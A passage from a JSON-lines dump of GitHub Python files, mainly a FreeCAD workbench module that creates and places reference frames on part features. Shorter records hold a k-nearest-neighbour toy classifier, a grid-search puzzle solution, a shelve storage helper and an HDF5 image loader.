d[\"placement\"] = ARTools.placement2axisvec(self.obj.Placement)\n d.update(self.additional_data)\n return d\n\n\nclass PartFrame(Frame):\n \"\"\"Frame rigidly attached to a part frame.\n Inherits the base placement from the part's frame, and placement is\n relative to the part frame.\n \"\"\"\n def __init__(self, obj, partobj):\n Frame.__init__(self, obj)\n obj.addProperty(\"App::PropertyPlacementLink\",\n \"Part\", \"Parent\",\n \"The part to attach to.\")\n obj.Part = partobj\n obj.setEditorMode(\"Part\", 1)\n\n def execute(self, obj):\n if FreeCAD.GuiUp:\n obj.ViewObject.Proxy.updateData(obj, \"Placement\")\n\n def getDict(self):\n d = Frame.getDict(self)\n d[\"part\"] = str(self.obj.Part.Label)\n return d\n\n\nclass FeatureFrame(PartFrame):\n \"\"\"Frame rigidly attached to a feature.\n The feature frame is attached to a feature on a part. It gives both the\n placement of the feature w.r.t. the part, and the placement from the\n feature.\"\"\"\n def __init__(self, obj, partobj, featurePlacement):\n PartFrame.__init__(self, obj, partobj)\n obj.addProperty(\"App::PropertyPlacement\",\n \"FeaturePlacement\", \"Feature\",\n \"The frame attached to the feature.\")\n obj.addProperty(\"App::PropertyString\",\n \"PrimitiveType\", \"Feature\",\n \"The primitive type of the feature.\")\n obj.addProperty(\"App::PropertyString\",\n \"ShapeType\", \"Feature\",\n \"The shape type of the feature.\")\n obj.addProperty(\"App::PropertyString\",\n \"Positioning\", \"Feature\",\n \"The type of positioning used during creation.\")\n obj.FeaturePlacement = featurePlacement\n\n def getDict(self):\n d = PartFrame.getDict(self)\n d[\"featureplacement\"] = ARTools.placement2axisvec(self.obj.FeaturePlacement)\n d[\"shapetype\"] = str(self.obj.ShapeType)\n d[\"positioning\"] = str(self.obj.Positioning)\n return d\n\n\n############################################################\n# ViewProvider to the frames\n############################################################\nclass ViewProviderFrame(object):\n \"\"\"ViewProvider for the basic frame.\n Uses the SOAxiscrosskit to create axises with constant length regardless\n of zoom. Updates position when placement is changed.\n \"\"\"\n def __init__(self, vobj):\n vobj.addProperty(\"App::PropertyFloat\", \"Scale\")\n vobj.Scale = 0.12\n vobj.addProperty(\"App::PropertyFloat\", \"HeadSize\")\n vobj.HeadSize = 3.0\n vobj.addProperty(\"App::PropertyFloat\", \"LineWidth\")\n vobj.LineWidth = 2.0\n vobj.Proxy = self\n\n def attach(self, vobj):\n # We only have a shaded visual group\n self.shaded = coin.SoGroup()\n\n # Takes heavily from SoAxisCrosskit.h,\n # and Toggle_DH_Frames by galou_breizh on the forums\n self.vframe = coin.SoType.fromName(\"SoShapeScale\").createInstance()\n self.vframe.setPart(\"shape\", coin.SoType.fromName(\"SoAxisCrossKit\").createInstance())\n self.vframe.scaleFactor.setValue(0.1)\n ax = self.vframe.getPart(\"shape\", 0)\n cone = ax.getPart(\"xHead.shape\", 0)\n cone.bottomRadius.setValue(vobj.HeadSize)\n cone = ax.getPart(\"yHead.shape\", 0)\n cone.bottomRadius.setValue(vobj.HeadSize)\n cone = ax.getPart(\"zHead.shape\", 0)\n cone.bottomRadius.setValue(vobj.HeadSize)\n lwstring = \"lineWidth {0}\".format(vobj.LineWidth)\n ax.set(\"xAxis.appearance.drawStyle\", lwstring)\n ax.set(\"yAxis.appearance.drawStyle\", lwstring)\n ax.set(\"zAxis.appearance.drawStyle\", lwstring)\n ax.set(\"xAxis.pickStyle\", \"style SHAPE\")\n ax.set(\"yAxis.pickStyle\", \"style SHAPE\")\n ax.set(\"zAxis.pickStyle\", \"style SHAPE\")\n\n # Then remember to make it selectable in the viewer\n selectionNode = coin.SoType.fromName(\"SoFCSelection\").createInstance()\n selectionNode.documentName.setValue(FreeCAD.ActiveDocument.Name)\n selectionNode.objectName.setValue(vobj.Object.Name)\n selectionNode.subElementName.setValue(\"Frame\")\n selectionNode.addChild(self.vframe)\n\n # We would like to place it where we want\n self.transform = coin.SoTransform()\n self.shaded.addChild(self.transform)\n self.shaded.addChild(self.vframe)\n self.shaded.addChild(selectionNode)\n vobj.addDisplayMode(self.shaded, \"Shaded\")\n\n def updateData(self, fp, prop):\n if prop == \"Placement\":\n pl = fp.getPropertyByName(\"Placement\")\n self.transform.translation = (pl.Base.x,\n pl.Base.y,\n pl.Base.z)\n self.transform.rotation = pl.Rotation.Q\n\n def getDisplayModes(self, vobj):\n modes = [\"Shaded\"]\n return modes\n\n def getDefaultDisplayMode(self):\n return \"Shaded\"\n\n def getIcon(self):\n icondir = os.path.join(FreeCAD.getUserAppDataDir(),\n \"Mod\", __workbenchname__, \"UI\", \"icons\")\n return str(os.path.join(icondir, \"frame.svg\"))\n\n def onChanged(self, vp, prop):\n if prop == \"Scale\":\n s = vp.getPropertyByName(\"Scale\")\n self.vframe.scaleFactor.setValue(float(s))\n elif prop == \"HeadSize\":\n hs = vp.getPropertyByName(\"HeadSize\")\n xcone = self.vframe.getPart(\"shape\", 0).getPart(\"xHead.shape\", 0)\n xcone.bottomRadius.setValue(float(hs))\n ycone = self.vframe.getPart(\"shape\", 0).getPart(\"yHead.shape\", 0)\n ycone.bottomRadius.setValue(float(hs))\n zcone = self.vframe.getPart(\"shape\", 0).getPart(\"zHead.shape\", 0)\n zcone.bottomRadius.setValue(float(hs))\n elif prop == \"LineWidth\":\n lw = vp.getPropertyByName(\"LineWidth\")\n lwstring = \"lineWidth {0}\".format(lw)\n ax = self.vframe.getPart(\"shape\", 0)\n ax.set(\"xAxis.appearance.drawStyle\", lwstring)\n ax.set(\"yAxis.appearance.drawStyle\", lwstring)\n ax.set(\"zAxis.appearance.drawStyle\", lwstring)\n\n def __getstate__(self):\n return None\n\n def __setstate__(self, state):\n pass\n\n\nclass ViewProviderPartFrame(ViewProviderFrame):\n \"\"\"View provider to the part frame.\"\"\"\n def updateData(self, fp, prop):\n if prop == \"Placement\":\n parentpl = fp.getPropertyByName(\"Part\").Placement\n localpl = fp.Placement\n pl = parentpl.multiply(localpl)\n self.transform.translation = (pl.Base.x,\n pl.Base.y,\n pl.Base.z)\n self.transform.rotation = pl.Rotation.Q\n\n\nclass ViewProviderFeatureFrame(ViewProviderFrame):\n \"\"\"View provider to the feature frames.\"\"\"\n def updateData(self, fp, prop):\n if prop == \"Placement\":\n parentpl = fp.getPropertyByName(\"Part\").Placement\n featurepl = fp.getPropertyByName(\"FeaturePlacement\")\n localpl = fp.Placement\n pl = parentpl.multiply(featurepl.multiply(localpl))\n self.transform.translation = (pl.Base.x,\n pl.Base.y,\n pl.Base.z)\n self.transform.rotation = pl.Rotation.Q\n\n\n###################################################################\n# Base functions\n###################################################################\n\ndef makeFrame(placement=FreeCAD.Placement()):\n obj = FreeCAD.ActiveDocument.addObject(\"App::FeaturePython\", \"Frame\")\n Frame(obj)\n if FreeCAD.GuiUp:\n ViewProviderFrame(obj.ViewObject)\n return obj\n\n\ndef makePartFrame(part):\n obj = FreeCAD.ActiveDocument.addObject(\"App::FeaturePython\", \"PartFrame\")\n PartFrame(obj, part)\n if int(FreeCAD.Version()[1]) > 16:\n geo_feature_group = part.getParentGeoFeatureGroup()\n geo_feature_group.addObject(obj)\n if FreeCAD.GuiUp:\n ViewProviderPartFrame(obj.ViewObject)\n return obj\n\n\ndef makeFeatureFrame(part, featurepl):\n obj = FreeCAD.ActiveDocument.addObject(\"App::FeaturePython\",\n \"FeatureFrame\")\n FeatureFrame(obj, part, featurepl)\n # If we're >0.16, add the feature frame to the assembly\n if int(FreeCAD.Version()[1]) > 16:\n geo_feature_group = part.getParentGeoFeatureGroup()\n geo_feature_group.addObject(obj)\n if FreeCAD.GuiUp:\n ViewProviderFeatureFrame(obj.ViewObject)\n return obj\n\n\ndef makeAllPartFrames():\n dc = FreeCAD.activeDocument()\n for part in dc.Objects:\n if isinstance(part, Part.Feature):\n pf = makePartFrame(part)\n pf.Label = \"Frame\"+str(part.Label)\n\n\ndef spawnFeatureFrameCreator():\n ffpanel = FeatureFramePanel()\n FreeCADGui.Control.showDialog(ffpanel)\n\n\n###################################################################\n# GUI Related\n###################################################################\nuidir = os.path.join(FreeCAD.getUserAppDataDir(),\n \"Mod\", __workbenchname__, \"UI\")\nicondir = os.path.join(uidir, \"icons\")\n\nARTools.spawnClassCommand(\"FrameCommand\",\n makeFrame,\n {\"Pixmap\": str(os.path.join(icondir, \"frame.svg\")),\n \"MenuText\": \"Make a free frame\",\n \"ToolTip\": \"Make a freestanding reference frame.\"})\n\nARTools.spawnClassCommand(\"AllPartFramesCommand\",\n makeAllPartFrames,\n {\"Pixmap\": str(os.path.join(icondir, \"allpartframes.svg\")),\n \"MenuText\": \"All part frames\",\n \"ToolTip\": \"Make all part frames.\"})\nARTools.spawnClassCommand(\"FeatureFrameCommand\",\n spawnFeatureFrameCreator,\n {\"Pixmap\": str(os.path.join(icondir, \"featureframecreator.svg\")),\n \"MenuText\": \"Feature frame creator\",\n \"ToolTip\": \"Create a feature frame on selected primitive.\"})\n\n\n###################################################################\n# GUI buttons\n###################################################################\nclass FeatureFramePanel:\n \"\"\"Spawn panel choices for a feature.\"\"\"\n def __init__(self):\n selected = FreeCADGui.Selection.getSelectionEx()\n # Check selection\n if len(selected) == 1:\n selected = selected[0]\n self.selected = selected\n else:\n FreeCAD.Console.PrintError(\"Multipart selection not available.\")\n self.reject()\n\n if not selected.HasSubObjects:\n FreeCAD.Console.PrintError(\"Part selected not feature.\")\n self.reject()\n elif not len(selected.SubObjects) == 1:\n FreeCAD.Console.PrintError(\"Multifeature selection not available\")\n self.reject()\n\n # Choices related to selection\n so_desc = ARTools.describeSubObject(selected.SubObjects[0])\n self.so_desc = so_desc\n shape_choices = {\n \"Vertex\": [],\n \"Edge\": [\"PointOnEdge\"],\n \"Face\": [\"PointOnSurface\"]\n }\n prim_choices = {\n \"ArcOfCircle\": [\"Center\"],\n \"ArcOfEllipse\": [\"Center\"],\n \"ArcOfHyperBola\": [\"Center\"],\n \"ArcOfParabola\": [\"Center\"],\n \"BSplineCurve\": [\"Center\"],\n \"BezierCurve\": [\"Center\"],\n \"Circle\": [\"Center\"],\n \"Ellipse\": [\"Center\"],\n \"Hyperbola\": [\"Center\"],\n \"Parabola\": [\"Center\"],\n \"Line\": [],\n \"BSplineSurface\": [\"Center\"],\n \"BezierSurface\": [\"Center\"],\n \"Cylinder\": [\"PointOnCenterline\"],\n \"Plane\": [\"Center\"],\n \"Sphere\": [\"Center\"],\n \"Toroid\": [\"Center\"],\n \"Cone\": [\"PointOnCenterline\"]\n }\n self.choices = [\"PickedPoint\"]\n self.choices = self.choices + shape_choices[so_desc[1]]\n self.choices = self.choices + prim_choices[so_desc[0]]\n # Setting up QT form\n uiform_path = os.path.join(uidir, \"FeatureFrameCreator.ui\")\n self.form = FreeCADGui.PySideUic.loadUi(uiform_path)\n self.form.ChoicesBox.addItems(self.choices)\n self.form.PickedTypeLabel.setText(so_desc[0])\n QtCore.QObject.connect(self.form.ChoicesBox,\n QtCore.SIGNAL(\"currentIndexChanged(QString)\"),\n self.choiceChanged)\n self.scenes = {}\n for choice in self.choices:\n sc = QtGui.QGraphicsScene()\n icon = str(os.path.join(icondir, choice+\".svg\"))\n sc.addItem(QtSvg.QGraphicsSvgItem(icon))\n self.scenes[choice] = sc\n self.choiceChanged(self.form.ChoicesBox.currentText())\n\n def choiceChanged(self, choice):\n if choice in self.scenes.keys():\n self.form.Preview.setScene(self.scenes[choice])\n\n def accept(self):\n sel_choice = self.form.ChoicesBox.currentText()\n paneldict = {\"PickedPoint\": PickedPointPanel,\n \"PointOnEdge\": PointOnEdgePanel,\n \"PointOnSurface\": PointOnSurfacePanel,\n \"Center\": CenterPanel,\n \"PointOnCenterline\": PointOnCenterlinePanel}\n pan = paneldict[sel_choice](self.selected, self.so_desc)\n FreeCADGui.Control.closeDialog()\n # The dialog is actually closed after the accept function has\n # completed. So we need to use a delayed task to open the new dialog:\n QtCore.QTimer.singleShot(0,\n lambda: FreeCADGui.Control.showDialog(pan))\n\n def reject(self):\n FreeCADGui.Control.closeDialog()\n\n\nclass BaseFeaturePanel(object):\n \"\"\"Base feature panel to be inherited from.\"\"\"\n def __init__(self, selected, so_desc):\n # Handle selected and FF placement\n self.selected = selected\n self.so_desc = so_desc\n # Connect offset to spinboxes\n QtCore.QObject.connect(self.form.XBox,\n QtCore.SIGNAL(\"valueChanged(double)\"),\n self.offsetChanged)\n QtCore.QObject.connect(self.form.YBox,\n QtCore.SIGNAL(\"valueChanged(double)\"),\n self.offsetChanged)\n QtCore.QObject.connect(self.form.ZBox,\n QtCore.SIGNAL(\"valueChanged(double)\"),\n self.offsetChanged)\n QtCore.QObject.connect(self.form.RollBox,\n QtCore.SIGNAL(\"valueChanged(double)\"),\n self.offsetChanged)\n QtCore.QObject.connect(self.form.PitchBox,\n QtCore.SIGNAL(\"valueChanged(double)\"),\n self.offsetChanged)\n QtCore.QObject.connect(self.form.YawBox,\n QtCore.SIGNAL(\"valueChanged(double)\"),\n self.offsetChanged)\n QtCore.QObject.connect(self.form.ScaleBox,\n QtCore.SIGNAL(\"valueChanged(double)\"),\n self.scaleChanged)\n\n def createFrame(self):\n self.fframe = makeFeatureFrame(self.selected.Object, self.local_ffpl)\n self.fframe.PrimitiveType = self.so_desc[0]\n self.fframe.ShapeType = self.so_desc[1]\n ad = ARTools.getPrimitiveInfo(self.so_desc[0],\n self.selected.SubObjects[0])\n self.fframe.Proxy.additional_data.update(ad)\n\n def scaleChanged(self):\n scale = self.form.ScaleBox.value()\n self.fframe.ViewObject.Scale = scale\n\n def offsetChanged(self):\n disp = FreeCAD.Vector(self.form.XBox.value(),\n self.form.YBox.value(),\n self.form.ZBox.value())\n rot = FreeCAD.Rotation(self.form.YawBox.value(),\n self.form.PitchBox.value(),\n self.form.RollBox.value())\n offset = FreeCAD.Placement(disp, rot)\n self.fframe.Placement = offset\n\n def accept(self):\n framelabel = self.form.FrameLabelField.toPlainText()\n if not len(framelabel) == 0:\n self.fframe.Label = framelabel\n FreeCADGui.Control.closeDialog()\n\n def reject(self):\n FreeCAD.activeDocument().removeObject(self.fframe.Name)\n FreeCADGui.Control.closeDialog()\n\n\nclass PickedPointPanel(BaseFeaturePanel):\n \"\"\"Create a feature frame at the picked point.\"\"\"\n # Not very clever. It just places the frame with default rotation.\n def __init__(self, selected, so_desc):\n uiform_path = os.path.join(uidir, \"FramePlacer.ui\")\n self.form = FreeCADGui.PySideUic.loadUi(uiform_path)\n BaseFeaturePanel.__init__(self, selected, so_desc)\n parent_pl = selected.Object.Placement\n abs_pl = FreeCAD.Placement(selected.PickedPoints[0],\n FreeCAD.Rotation())\n self.local_ffpl = parent_pl.inverse().multiply(abs_pl)\n self.createFrame()\n self.fframe.Positioning = \"PickedPoint\"\n\n\nclass PointOnEdgePanel(BaseFeaturePanel):\n \"\"\"Create a feature frame on an edge.\"\"\"\n def __init__(self, selected, so_desc):\n uiform_path = os.path.join(uidir, \"FramePlacer.ui\")\n self.form = FreeCADGui.PySideUic.loadUi(uiform_path)\n # Enable the first parameter\n self.form.VLabel.setEnabled(True)\n self.form.VLabel.setVisible(True)\n self.form.VLabel.setText(\"u\")\n self.form.VBox.setEnabled(True)\n self.form.VBox.setVisible(True)\n QtCore.QObject.connect(self.form.VBox,\n QtCore.SIGNAL(\"valueChanged(double)\"),\n self.parameterChanged)\n\n # Enable percentage or param selection\n self.form.OptionsLabel.setEnabled(True)\n self.form.OptionsLabel.setVisible(True)\n self.form.OptionsLabel.setText(\"Arc param.\")\n self.form.OptionsBox.setEnabled(True)\n self.form.OptionsBox.setVisible(True)\n self.form.OptionsBox.addItems([\"mm\", \"%\"])\n QtCore.QObject.connect(self.form.OptionsBox,\n QtCore.SIGNAL(\"currentIndexChanged(QString)\"),\n self.choiceChanged)\n BaseFeaturePanel.__init__(self, selected, so_desc)\n\n # Place the frame wherever the values are atm\n self.local_ffpl = FreeCAD.Placement()\n self.createFrame()\n self.fframe.Positioning = \"PointOnEdge\"\n self.choiceChanged(self.form.OptionsBox.currentText())\n self.parameterChanged()\n\n def parameterChanged(self):\n value = self.form.VBox.value()\n if self.form.OptionsBox.currentText() == \"%\":\n value = self.p2mm(value)\n edge = self.selected.SubObjects[0]\n point = edge.valueAt(value)\n tangentdir = edge.tangentAt(value)\n rot = FreeCAD.Rotation(FreeCAD.Vector(1, 0, 0),\n tangentdir)\n abs_ffpl = FreeCAD.Placement(point, rot)\n parent_pl = self.selected.Object.Placement\n self.local_ffpl = parent_pl.inverse().multiply(abs_ffpl)\n self.fframe.FeaturePlacement = self.local_ffpl\n # force recompute of placement?\n self.fframe.Placement = self.fframe.Placement\n\n def choiceChanged(self, choice):\n value = self.form.VBox.value()\n if choice == \"mm\":\n value = self.p2mm(value)\n self.form.VBox.setSuffix(\"mm\")\n parameter_range = self.selected.SubObjects[0].ParameterRange\n self.form.VBox.setRange(*parameter_range)\n self.form.VBox.setSingleStep(0.1)\n elif choice == \"%\":\n value = self.mm2p(value)\n self.form.VBox.setSuffix(\"%\")\n self.form.VBox.setRange(0, 100.0)\n self.form.VBox.setSingleStep(1.0)\n self.form.VBox.setValue(value)\n\n def p2mm(self, value):\n parameter_range = self.selected.SubObjects[0].ParameterRange\n delta = parameter_range[1] - parameter_range[0]\n return 0.01*value*delta + parameter_range[0]\n\n def mm2p(self, value):\n parameter_range = self.selected.SubObjects[0].ParameterRange\n delta = parameter_range[1] - parameter_range[0]\n return 100.0*(value - parameter_range[0])/delta\n\n\nclass PointOnSurfacePanel(BaseFeaturePanel):\n \"\"\"Create a feature on a surface.\"\"\"\n def __init__(self, selected, so_desc):\n uiform_path = os.path.join(uidir, \"FramePlacer.ui\")\n self.form = FreeCADGui.PySideUic.loadUi(uiform_path)\n # Enable both parameters\n self.form.ULabel.setVisible(True)\n self.form.VLabel.setVisible(True)\n self.form.UBox.setVisible(True)\n self.form.VBox.setVisible(True)\n QtCore.QObject.connect(self.form.VBox,\n QtCore.SIGNAL(\"valueChanged(double)\"),\n self.parameterChanged)\n QtCore.QObject.connect(self.form.UBox,\n QtCore.SIGNAL(\"valueChanged(double)\"),\n self.parameterChanged)\n # Enable percentage or param selection\n self.form.OptionsLabel.setEnabled(True)\n self.form.OptionsLabel.setVisible(True)\n self.form.OptionsLabel.setText(\"Surf. param.\")\n self.form.OptionsBox.setEnabled(True)\n self.form.OptionsBox.setVisible(True)\n self.form.OptionsBox.addItems([\"mm\", \"%\"])\n QtCore.QObject.connect(self.form.OptionsBox,\n QtCore.SIGNAL(\"currentIndexChanged(QString)\"),\n self.choiceChanged)\n BaseFeaturePanel.__init__(self, selected, so_desc)\n\n # Place the frame wherever the values are atm\n self.local_ffpl = FreeCAD.Placement()\n self.createFrame()\n self.fframe.Positioning = \"PointOnSurface\"\n self.choiceChanged(self.form.OptionsBox.currentText())\n self.parameterChanged()\n\n def parameterChanged(self):\n value = (self.form.UBox.value(), self.form.VBox.value())\n if self.form.OptionsBox.currentText() == \"%\":\n value = self.p2mm(value)\n face = self.selected.SubObjects[0]\n point = face.valueAt(*value)\n normaldir = face.normalAt(*value)\n rotation = FreeCAD.Rotation(FreeCAD.Vector(0, 0, 1),\n normaldir)\n abs_ffpl = FreeCAD.Placement(point, rotation)\n parent_pl = self.selected.Object.Placement\n self.local_ffpl = parent_pl.inverse().multiply(abs_ffpl)\n self.fframe.FeaturePlacement = self.local_ffpl\n # Force recompute of placement\n self.fframe.Placement = self.fframe.Placement\n\n def choiceChanged(self, choice):\n value = (self.form.UBox.value(), self.form.VBox.value())\n if choice == \"mm\":\n value = self.p2mm(value)\n parameter_range = self.selected.SubObjects[0].ParameterRange\n self.form.UBox.setRange(parameter_range[0], parameter_range[1])\n self.form.UBox.setSuffix(\"mm\")\n self.form.UBox.setSingleStep(0.1)\n self.form.VBox.setRange(parameter_range[2], parameter_range[3])\n self.form.VBox.setSuffix(\"mm\")\n self.form.VBox.setSingleStep(0.1)\n elif choice == \"%\":\n value = self.mm2p(value)\n self.form.UBox.setRange(0.0, 100.0)\n self.form.UBox.setSuffix(\"%\")\n self.form.VBox.setRange(0.0, 100.0)\n self.form.UBox.setSingleStep(1.0)\n self.form.VBox.setSuffix(\"%\")\n self.form.VBox.setSingleStep(1.0)\n self.form.UBox.setValue(value[0])\n self.form.VBox.setValue(value[1])\n\n def p2mm(self, value):\n parameter_range = self.selected.SubObjects[0].ParameterRange\n delta = [parameter_range[1] - parameter_range[0],\n parameter_range[3] - parameter_range[2]]\n u = 0.01*value[0]*delta[0] + parameter_range[0]\n v = 0.01*value[1]*delta[1] + parameter_range[2]\n return (u, v)\n\n def mm2p(self, value):\n parameter_range = self.selected.SubObjects[0].ParameterRange\n delta = [parameter_range[1] - parameter_range[0],\n parameter_range[3] - parameter_range[2]]\n u = 100.0*(value[0] - parameter_range[0])/delta[0]\n v = 100.0*(value[1] - parameter_range[2])/delta[1]\n return (u, v)\n\n\nclass CenterPanel(BaseFeaturePanel):\n \"\"\"Create a feature frame on center.\"\"\"\n def __init__(self, selected, so_desc):\n uiform_path = os.path.join(uidir, \"FramePlacer.ui\")\n self.form = FreeCADGui.PySideUic.loadUi(uiform_path)\n BaseFeaturePanel.__init__(self, selected, so_desc)\n edge_curve_list = [\"ArcOfCircle\",\n \"ArcOfEllipse\",\n \"ArcOfHyperbola\",\n \"ArcOfParabola\",\n \"Circle\",\n \"Ellipse\",\n \"Hyperbola\",\n \"Parabola\"]\n face_surf_list = [\"Sphere\",\n \"Toroid\"]\n if so_desc[0] in edge_curve_list:\n edge = selected.SubObjects[0]\n axis = edge.Curve.Axis\n rotation = FreeCAD.Rotation(FreeCAD.Vector(0, 0, 1),\n axis)\n center_point = edge.Curve.Center\n elif so_desc[0] in face_surf_list:\n face = selected.SubObjects[0]\n axis = face.Surface.Axis\n rotation = FreeCAD.Rotation(FreeCAD.Vector(0, 0, 1),\n axis)\n center_point = face.Surface.Center\n else:\n rotation = FreeCAD.Rotation()\n center_point = selected.SubObjects[0].CenterOfMass\n parent_pl = selected.Object.Placement\n abs_pl = FreeCAD.Placement(center_point,\n rotation)\n self.local_ffpl = parent_pl.inverse().multiply(abs_pl)\n self.createFrame()\n self.fframe.Positioning = \"Center\"\n\n\nclass PointOnCenterlinePanel(BaseFeaturePanel):\n \"\"\"Create a point on centerline of primitive.\"\"\"\n def __init__(self, selected, so_desc):\n uiform_path = os.path.join(uidir, \"FramePlacer.ui\")\n self.form = FreeCADGui.PySideUic.loadUi(uiform_path)\n BaseFeaturePanel.__init__(self, selected, so_desc)\n # Enable the along line parameter\n self.form.VLabel.setVisible(True)\n self.form.VLabel.setText(\"u\")\n self.form.VBox.setVisible(True)\n QtCore.QObject.connect(self.form.VBox,\n QtCore.SIGNAL(\"valueChanged(double)\"),\n self.parameterChanged)\n # Enable percentage of param selection\n self.form.OptionsLabel.setVisible(True)\n self.form.OptionsLabel.setText(\"Line param.\")\n self.form.OptionsBox.setVisible(True)\n self.form.OptionsBox.addItems([\"mm\", \"%\"])\n QtCore.QObject.connect(self.form.OptionsBox,\n QtCore.SIGNAL(\"currentIndexChanged(QString)\"),\n self.choiceChanged)\n # Place the frame wherever the values are atm\n self.local_ffpl = FreeCAD.Placement()\n self.createFrame()\n self.fframe.Positioning = \"PointOnCenterline\"\n self.parameterChanged()\n\n def parameterChanged(self):\n value = self.form.VBox.value()\n if self.form.OptionsBox.currentText() == \"%\":\n value = self.p2mm(value)\n displacement_pl = FreeCAD.Placement(FreeCAD.Vector(0, 0, value),\n FreeCAD.Rotation())\n # Find the center\n axis = self.selected.SubObjects[0].Surface.Axis\n rotation = FreeCAD.Rotation(FreeCAD.Vector(0, 0, 1),\n axis)\n center_point = self.selected.SubObjects[0].Surface.Center\n center_pl = FreeCAD.Placement(center_point, rotation)\n abs_ffpl = center_pl.multiply(displacement_pl)\n parent_pl = self.selected.Object.Placement\n self.local_ffpl = parent_pl.inverse().multiply(abs_ffpl)\n self.fframe.FeaturePlacement = self.local_ffpl\n # force recompute of placement\n self.fframe.Placement = self.fframe.Placement\n\n def choiceChanged(self, choice):\n FreeCAD.Console.PrintMessage(\"choiceChanged\\n\")\n value = self.form.VBox.value()\n FreeCAD.Console.PrintMessage(\"preval:\"+str(value)+\"\\n\")\n if choice == \"mm\":\n value = self.p2mm(value)\n self.form.VBox.setSuffix(\"mm\")\n parameter_range = self.selected.SubObjects[0].ParameterRange[2:]\n self.form.VBox.setRange(*parameter_range)\n self.form.VBox.setSingleStep(0.1)\n elif choice == \"%\":\n value = self.mm2p(value)\n self.form.VBox.setSuffix(\"%\")\n self.form.VBox.setRange(0, 100)\n self.form.VBox.setSingleStep(1.0)\n self.form.VBox.setValue(value)\n FreeCAD.Console.PrintMessage(\"postval:\"+str(value)+\"\\n\")\n\n def p2mm(self, value):\n parameter_range = self.selected.SubObjects[0].ParameterRange[2:]\n delta = parameter_range[1] - parameter_range[0]\n return 0.01*value*delta + parameter_range[0]\n\n def mm2p(self, value):\n parameter_range = self.selected.SubObjects[0].ParameterRange[2:]\n delta = parameter_range[1] - parameter_range[0]\n return 100.0*(value - parameter_range[0])/delta\n","repo_name":"mahaarbo/ARBench","sub_path":"ARFrames.py","file_name":"ARFrames.py","file_ext":"py","file_size_in_byte":30905,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"4991140223","text":"import os\nfrom numpy import *\nimport operator\n\nclass KNN:\n def createDataset(self):\n group = array([[1.0,1.1],[1.0,1.0],[0,0],[0,0.1]])\n labels = ['A','A','B','B']\n return group,labels\n\n def KnnClassify(self,testX,trainX,labels,K):\n [N,M]=trainX.shape\n\n #calculate the distance between testX and other training samples\n difference = tile(testX,(N,1)) - trainX # tile for array and repeat for matrix in Python, == repmat in Matlab\n difference = difference ** 2 # take pow(difference,2)\n distance = difference.sum(1) # take the sum of difference from all dimensions\n distance = distance ** 0.5\n sortdiffidx = distance.argsort()\n\n # find the k nearest neighbours\n vote = {} #create the dictionary\n for i in range(K):\n ith_label = labels[sortdiffidx[i]];\n vote[ith_label] = vote.get(ith_label,0)+1 #get(ith_label,0) : if dictionary 'vote' exist key 'ith_label', return vote[ith_label]; else return 0\n sortedvote = sorted(vote.items(),key = lambda x:x[1], reverse = True)\n # 'key = lambda x: x[1]' can be substituted by operator.itemgetter(1)\n return sortedvote[0][0]\n\nk = KNN() #create KNN object\ngroup,labels = k.createDataset()\ncls = k.KnnClassify([0.1,0.1],group,labels,3)\nprint (cls)","repo_name":"wudiyouyou/DL_learning","sub_path":"KNN/KNN_Test.py","file_name":"KNN_Test.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43710050651","text":"'''\nIn a given grid, each cell can have one of three values:\nthe value 0 representing an empty cell;\nthe value 1 representing a fresh orange;\nthe value 2 representing a rotten orange.\nEvery minute, any fresh orange that is adjacent (4-directionally) to a rotten orange becomes rotten.\nReturn the minimum number of minutes that must elapse until no cell has a fresh orange. If this is impossible, return -1 instead.\n\n min0 min1 min2 min3 min4\n2 1 1 2 2 1 2 2 2 2 2 2 2 2 2\n1 1 0 2 1 0 2 2 0 2 2 0 2 2 0\n0 1 1 0 1 1 0 1 1 0 2 1 0 2 2\n'''\n\nclass Solution(object):\n def orangesRotting(self, grid):\n r = len(grid) #number of rows\n c = len(grid[0]) #number of collunms\n count = 0 #count of 1\n rot = collections.deque() #queue of position with value of 2\n for i in range(r):\n for j in range(c):\n if grid[i][j] == 1:\n count += 1\n if grid[i][j] == 2:\n rot.append((i,j))\n mins = 0\n while rot:\n for _ in range(len(rot)):\n i,j = rot.popleft()\n for x,y in [(i-1,j), (i+1,j), (i,j-1), (i,j+1)]:\n if 0<=x shelve.DbfilenameShelf:\n path = Path(\n data.body.working_directory,\n data.body.data_path,\n data.body.storage_name,\n )\n storage = shelve.open(path)\n return storage\n\n\n# pylint: disable=unused-argument\nasync def main(\n request: Request | None = None,\n working_directory: str | None = None,\n data_path: str | None = None,\n storage_name: str | None = None,\n) -> shelve.DbfilenameShelf:\n data = format_main_arguments.main(\n _locals=locals(),\n data_classes={'body': Body},\n main_data_class=Data,\n )\n data.storage = setup_persistent_storage(data=data)\n return data\n\n\nasync def example() -> None:\n # Create it\n data = await main(\n working_directory=ENV.WORKDIR,\n data_path=ENV.DATA_PATH,\n storage_name='example_persistent_storage.shelve'\n )\n print(data)\n # Close it\n data.storage.close()\n print(data)\n\n\nif __name__ == '__main__':\n import asyncio\n\n\n asyncio.run(example())\n","repo_name":"fjemi/mono_repo","sub_path":"shared/get_persistent_storage/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40567215905","text":"import numpy as np\nimport skimage.measure\nimport h5py\nfrom PIL import Image, ImageQt\n\n\ndef load_image(filename):\n file = h5py.File(filename, \"r\")\n arr = file[\"dataset\"][()]\n\n file.close()\n\n return arr\n\ndef resize_image(arr, reduce):\n w = arr.shape[1]; h = arr.shape[0]\n\n if w > 1024 or h > 1024:\n return None\n\n if w > 512 or h > 512:\n arr = skimage.measure.block_reduce(arr, (2, 2, 1), reduce)\n w = arr.shape[1]; h = arr.shape[0]\n\n dw = (512 - w) // 2\n dh = (512 - h) // 2\n \n arr = np.pad(arr, ((dh, dh), (dw, dw), (0, 0)), mode='constant', constant_values=(0, 0))\n arr = np.expand_dims(arr, axis=0)\n\n return arr\n\ndef load_albedo(filename):\n arr = load_image(filename)\n if len(arr.shape) != 3 and arr.shape[2] != 3:\n raise Exception\n\n arr = np.clip(arr, 0, 1)\n arr = arr * 2 - 1\n\n arr = resize_image(arr, np.mean)\n\n return arr\n\ndef load_depth(filename):\n arr = load_image(filename)\n if len(arr.shape) != 2:\n raise 